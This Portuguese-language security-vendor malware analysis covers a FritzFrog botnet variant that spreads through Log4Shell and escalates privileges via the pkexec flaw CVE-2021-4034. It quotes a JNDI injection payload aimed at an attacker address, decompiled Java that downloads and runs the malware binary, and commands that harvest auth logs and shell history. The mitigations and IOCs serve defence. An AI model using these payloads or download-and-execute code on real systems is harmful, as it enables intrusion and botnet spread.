Frog4Shell: botnet FritzFrog adiciona ataques de dia um ao seu arsenal
Comentários editoriais e adicionais por Tricia Howard
Resumo executivo
O Akamai Security Intelligence Group (SIG) descobriu detalhes sobre uma nova variante do botnet FritzFrog, que abusa da vulnerabilidade de 2021 Log4Shell.
Ao longo dos anos, vimos mais de 20.000 ataques FritzFrog e mais de 1.500 vítimas.
O malware infecta servidores voltados para a Internet por força bruta de credenciais SSH fracas. As variantes mais recentes agora leem vários arquivos do sistema em hosts comprometidos para detectar possíveis alvos para esse ataque que têm uma alta probabilidade de serem vulneráveis.
A vulnerabilidade é explorada de maneira de força bruta, tentando visar o máximo possível de aplicativos Java vulneráveis.
O malware também agora inclui um módulo para explorar o CVE-2021-4034, um escalonamento de privilégios no componente polkit Linux. Este módulo permite que o malware seja executado como root em servidores vulneráveis.
- Nós incluímos indicadores de compromisso (COI) e medidas de mitigação adicionais nesta postagem do blog para auxiliar na prevenção da infecção por FritzFrog.
Antecedentes do FritzFrog
A Akamai está monitorando continuamente as ameaças por meio de nossa rede global de sensores, incluindo as ameaças que descobrimos anteriormente. Entre eles está o botnet FritzFrog (originalmente identificado em 2020), um botnet ponto a ponto sofisticado e baseado em Golang compilado para suportar máquinas baseadas em AMD e ARM. O malware é ativamente mantido e evolui ao longo dos anos adicionando e melhorando recursos.
O FritzFrog tem tradicionalmente se alastrado por meio do uso de força bruta SSH, e tem comprometido milhares de alvos ao longo dos anos como resultado. Cada host comprometido se torna parte da rede da FritzFrog, e se comunica com seus pares infectados para compartilhar informações, cargas úteis e configuração.
Graças à manutenção consistente, o malware inclui muitos recursos interessantes em seu arsenal, incluindo as adições que discutiremos neste blog, como a introdução da exploração Log4Shell. Por exemplo, ele tenta evitar tocar no disco para limitar as oportunidades de detecção, suporta comunicação por TOR, e até tem um módulo "antivírus" que mata malware concorrente.
Uso do Log4Shell como vetor de infecção
Tradicionalmente, o FritzFrog dependia da força bruta do SSH como seu único vetor de infecção, mas as versões recentes do malware agora incluem uma nova: exploração Log4Shell , que no nosso contexto é conhecida como "Frog4Shell" toadally rad.
A vulnerabilidade de Log4Shell foi inicialmente identificada em dezembro de 2021 e desencadeou um frenesi de aplicação de patches em todo o setor que durou meses. Mesmo hoje, 2 anos depois, há muitos aplicativos voltados para a Internet que ainda são vulneráveis a essa exploração.
Ativos vulneráveis voltados para a Internet são um problema sério, mas o FritzFrog realmente representa um risco para um tipo adicional de ativos - hosts internos. Quando a vulnerabilidade foi descoberta pela primeira vez, os aplicativos voltados para a Internet foram priorizados para a aplicação de patches devido ao risco significativo de comprometimento. Por outro lado, as máquinas internas, que tinham menos probabilidade de serem exploradas, eram frequentemente negligenciadas e permaneciam sem correção, uma circunstância da qual o FritzFrog se aproveita.
Como parte de sua rotina de distribuição, o malware tenta atingir todos os hosts na rede interna. Ele faz isso chamando a função Go padrão net__Interface_Addrs para identificar sub-redes acessíveis e direcionar os possíveis endereços em cada uma delas. Na Figura 1 podemos ver o malware tentando se conectar a todos os endereços da rede local.
Fig. 1: FritzFrog faz a verifica a rede local para identificar alvos
Isso significa que, mesmo que os aplicativos de "alto perfil" voltados para a Internet tenham sido corrigidos, uma violação de qualquer ativo na rede pelo FritzFrog pode expor ativos internos não corrigidos à exploração.
O FritzFrog identifica possíveis alvos Log4Shell procurando servidores HTTP nas portas 8080, 8090, 8888 e 9000. Para acionar a vulnerabilidade, um invasor precisa forçar o aplicativo vulnerável log4j a registrar dados que contenham uma carga útil (Tabela 1):
${jndi:ldap://<attacker_address>/<payload>}
Tabela 1: Exemplo de carga útil do Log4Shell
Essa carga, que é analisada incorretamente pela biblioteca vulnerável log4j, força o aplicativo Java a se conectar a um servidor LDAP especificado em "attacker_address", baixar uma classe Java e executá-la (Figura 2).
Fig. 2: O fluxo geral de exploração da Log4Shell
O FritzFrog tenta explorar esta vulnerabilidade injetando a carga através de cabeçalhos HTTP (Figura 3). Ele faz isso de uma maneira interessante, em vez de tentar direcionar um cabeçalho HTTP específico, FritzFrog tem como alvo praticamente todos eles.
Fig. 3: Exploração FritzFrog Log4Shell incorporada a vários cabeçalhos HTTP
O FritzFrog envia o payload Log4Shell em vários cabeçalhos HTTP, esperando que pelo menos um deles seja registrado pelo aplicativo. Essa abordagem de exploração de força bruta tem como objetivo ser uma exploração genérica Log4Shell que pode afetar uma ampla variedade de aplicativos.
A carga injetada vista na Figura 3 faz com que o aplicativo se conecte novamente ao próprio endereço IP do FritzFrog, o malware hospeda seu próprio servidor LDAP que é usado para atender à classe Java mal-intencionada. Após a execução, a classe Java se conectará à máquina de ataque via HTTP para baixar o binário do malware hospedado sob o nome "Robots.txt" (Tabela 2).
String ff_host_http_server_address = ff_host_http_server_address.trim();
payload_url = new URL("http://" + ff_host_http_server_address + "/" +
ff_username + "/robots.txt");
payload_url_stream = payload_url.openStream();
Tabela 2: Descompilação de Log4Shell payload Java baixando o binário FritzFrog
O ficheiro "Robots.txt" é guardado sob o nome "ifconfig". A classe Java executará o binário ifconfig e excluirá o arquivo (Tabela 3).
FileOutputStream ff_payload_file = new FileOutputStream(paths[counter] + "ifconfig");
ff_payload_file.write(var2.toByteArray());
ff_payload_file.close();
ff_payload_file_exec = new File(paths[counter] + "ifconfig");
ff_payload_file_exec.setExecutable(true);
Process ff_proc = Runtime.getRuntime().exec(paths[counter] + "ifconfig init " + var9 + ":22 " + ff_username + " exploit_log4shell");
if (ff_proc.waitFor() == 0) {
ff_payload_file_exec.delete();
return;
}
Tabela 3: Descompilação de Log4Shell payload Java executando o binário FritzFrog
A Figura 4 ilustra o fluxo de exploração do Log4Shell usado pelo FritzFrog.
Fig. 4: Processo de exploração do FritzFrog Log4Shell
Métodos de detecção de destino SSH
Além de adicionar a exploração Log4Shell, o FritzFrog também melhorou sua capacidade de identificar alvos para seu principal vetor de infeção: força bruta SSH. Embora continue a segmentar endereços IP gerados aleatoriamente, o FritzFrog agora também tentará identificar alvos específicos do SSH enumerando vários logs do sistema em cada uma de suas vítimas.
registros de autenticação
O arquivo auth.log do Linux contém, entre outras coisas, informações sobre conexões com a máquina. O FritzFrog é direcionado a clientes ativos na rede, verificando esses logs e procurando endereços IP. Para acessar os dados, o malware executa os seguintes comandos:
cat /var/log/auth*
zcat /var/log/auth*
Esses comandos geram o conteúdo de todos os arquivos de log compactados e de texto não criptografado.
Hosts SSH conhecidos
Quando um host se conecta a um servidor SSH remoto, as informações de conexão são salvas automaticamente no arquivo ~/.ssh/known_hosts . O FritzFrog extrairá os endereços desses hosts e os direcionará.
Isso fornece ao malware uma lista de servidores SSH ativos e acessíveis. Além disso, como esses servidores provavelmente são gerenciados pelo mesmo proprietário que o servidor comprometido, eles também podem compartilhar uma senha fraca semelhante.
Arquivo de histórico
Todos os comandos executados em sistemas Linux são salvos em um log especial chamado arquivo de histórico. O FritzFrog tenta identificar conexões ssh e scp anteriores executando o seguinte comando:
histórico | grep -E \"(scp|ssh)\"
O FritzFrog irá então extrair os endereços IP desses comandos e direcioná-los. Semelhante ao arquivo known_hosts , isso pode fornecer uma lista de servidores SSH ativos e acessíveis.
Escalonamento de privilégios
Outra mudança que observamos foi a adição de um recurso de escalonamento de privilégios ao malware. Em sua execução inicial, o FritzFrog verificará as permissões de seu processo. Se o usuário em execução não for root, uma função chamada "main_RunBlasty" será chamada (Figura 5).
Fig. 5: FritzFrog determina que o processo não está sendo executado como raiz e executa a função "main_RunBlasty"
A função "RunBlasty" começa com a execução do comando "which", um utilitário que permite localizar o caminho completo de outros comandos no sistema (Figura 6).
Fig. 6: Execução de comando "which" do FritzFrog
Podemos ver que o malware tenta encontrar a localização do binário pkexec . (Isso faz com que você se lembre de algo?)
Em seguida, o malware extrai dois arquivos que são incorporados a seu próprio executável (Figura 7); os arquivos são armazenados como strings, que são arquivos em gzip codificados em Base64. Os arquivos extraídos são chamados blasty e payload.so.
Fig. 7: Extraindo os arquivos incorporados no binário do malware
Depois de criar os arquivos, o FritzFrog executa blasty , um ELF escrito em C. Se analisarmos seu código, vemos que ele é muito simples: alguma interação com variáveis ambientais, seguida pela execução do pkexec (Figura 8).
Figura 8: código blasty desmontado
Procurar essas strings nos leva imediatamente a este código de exploração para CVE-2021-4034. Esta vulnerabilidade no componente polkit do Linux foi divulgada pela Qualys em 2022, e pode permitir o escalonamento de privilégios em qualquer máquina Linux que estivesse executando o polkit. Uma vez que é instalado por padrão na maioria das distribuições Linux, muitas máquinas sem patches ainda estão vulneráveis a este CVE hoje.
A exploração funciona abusando do fato que o pkexec é um programa SUID; ou seja, ele é executado com privilégios root mesmo quando executado por um usuário fraco. A vulnerabilidade permite forçar o pkexec para carregar e executar uma biblioteca controlada pelo invasor, levando à execução de código como root.
O Blasty explora essa vulnerabilidade, fazendo o pkexec carregar e executar o payload.so. Como podemos ver na Figura 9, essa biblioteca definirá o uid e o gid do processo como 0, o que significa root, e executar root_update , o binário do FritzFrog.
Fig. 9: payload.so executando FritzFrog como root
Outra observação interessante é que blasty e payload.so são compilados para a arquitetura AMD64, mesmo para variantes FritzFrog que funcionam no ARM. Isso significa que a exploração não será executada em nenhuma máquina que não seja executada em uma CPU AMD64.
Evasão de defesa
O FritzFrog continua a empregar táticas para permanecer oculto e evitar a detecção. Em particular, é necessário cuidado especial para evitar colocar arquivos no disco quando possível. Vimos os desenvolvedores usarem dois recursos do Linux para alcançar isso: /dev/shm e memfd_create.
/dev/shm
A primeira técnica utiliza a pasta /dev/shm (com shm significando memória compartilhada), que é um diretório destinado a permitir uma comunicação eficiente entre diferentes processos no sistema (Figura 10). Embora pareça uma pasta de sistema de arquivos normal, /dev/shm na verdade, é mapeada diretamente para a RAM, e todos os arquivos criados nela nunca tocam no disco.
O FritzFrog usa essa pasta para permitir a execução sem arquivo, gravando arquivos e executando-os a partir de /dev/shm. Para monitorar essa atividade, podemos executar o malware e usar o utilitário inotifywait para inspecionar operações de arquivo na /dev/shm. Vemos que o malware grava vários arquivos nesse diretório; por exemplo, na Figura 8, o malware é visto gravando todos os arquivos de exploração pkexec na pasta /dev/shm antes de executá-los.
Fig. 10: Monitorando eventos de acesso ao arquivo FritzFrog para o diretório /dev/shm
memfd_create
A segunda técnica utiliza a função memfd_create , descrita na página do manual da seguinte forma:
memfd_create() cria um arquivo anônimo e retorna um descritor de arquivo que se refere a ele. O arquivo se comporta como um arquivo normal e, portanto, pode ser modificado, truncado, mapeado na memória e assim por diante. No entanto, ao contrário de um arquivo comum, ele fica na RAM.
Assim, da mesma forma que a técnica anterior, temos uma maneira conveniente de criar um arquivo sem tocar no disco. O FritzFrog usa essa técnica ao executar sua carga útil de minerador (Figura 11) – ele grava a carga em um arquivo anônimo criado por memfd_create e a executa.
Fig. 11: FritzFrog usando memfd_create para gravar o payload do minerador em um arquivo anônimo
Mitigações
Recomendamos as duas estratégias de atenuação a seguir: usar a segmentação de rede e detectar táticas, técnicas e procedimentos comuns de malware.
A segmentação da rede pode limitar o impacto potencial do FritzFrog ao evitar a movimentação lateral. A segmentação baseada em software pode ser uma solução relativamente simples de ser implementada e que tem um impacto defensivo duradouro.
Nós fornecemos um script de detecção do Fritz para executar em servidores SSH que procura os seguintes indicadores FritzFrog:
a. Processos em execução nomeados nginx, ifconfig, php-fpm, apache2 ou libexec, cujo arquivo executável não existe mais no sistema de arquivos (como visto abaixo)
b. Porta de escuta 1234
Conclusão
A mudança de tática para a exploração foi uma grande tendência para agentes de ameaça em 2023. Explorações de um dia e dia zero foram usadas extensivamente e provaram ser um dos métodos mais eficazes para invadir as organizações.
A adição de capacidades de exploração ao arsenal pelo FritzFrog mostra uma mudança semelhante nesta direção. O vetor de infecção adicional que está abusando da vulnerabilidade Log4Shell, e o módulo de exploração pkexec são duas adições exploradas nesta publicação de blog que exemplificam essa mudança. Acreditamos que essa tendência continuará nas próximas versões do FritzFrog, e é provável que seja apenas uma questão de tempo antes que novas explorações sejam adicionadas ao malware.
O Akamai SIG continuará monitorando esta ameaça e outras semelhantes e publicará nossas descobertas. Para acompanhar as atualizações FritzFrog e outras pesquisas de segurança, siga-nos no X (ex-Twitter).
IOCs
Binário FritzFrog
AMD
f77ab04ee56f3cd4845d4a80c5817a7de4f0561d976d87563deab752363a765d
ARM
fb3371dd45585763f1436afb7d64c202864d89ee6cbb743efac9dbf1cefcc291
Payload do Log4Shell
52b11d3fa9206f51c601bd85cb480102fd938894b7274fac3d20915eb3af44f8
Exploração pkexec "Blasty"
Blasty
85cb8ceda7d2a29bc7c6c96dd279c43559797a624fc15d44da53ca02379afe01
Payload.so
0b95071c657f23d4d8bfa39042ed8ad0a1c1bceb6b265c1237c12c4c0818c248
